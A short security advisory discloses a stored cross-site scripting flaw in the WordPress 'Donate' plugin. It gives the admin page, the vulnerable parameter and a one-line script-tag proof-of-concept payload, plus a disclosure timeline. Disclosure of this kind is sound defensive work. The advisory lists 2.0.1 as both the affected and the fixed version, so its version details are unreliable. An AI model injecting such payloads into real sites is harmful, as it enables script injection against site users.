Plugin Name : Donate
 
Effected Version : 2.0.1 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following field put the payload as below
 
http://localhost/wp-admin/admin.php?page=donate.php
 
dnt_paypal_purpose = ‘><script>alert(2)</script>
 
Vulnerable Parameter : dnt_paypal_purpose
 
Type of XSS :  Stored
 
Fixed in : 2.0.1
 
http://wordpress.org/plugins/donate-button/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
Donate plugin helps to get donations from payment systems, like PayPal or 2CheckOut. It has a user-friendly and simple interface which allows to place the donate button anywhere on the site.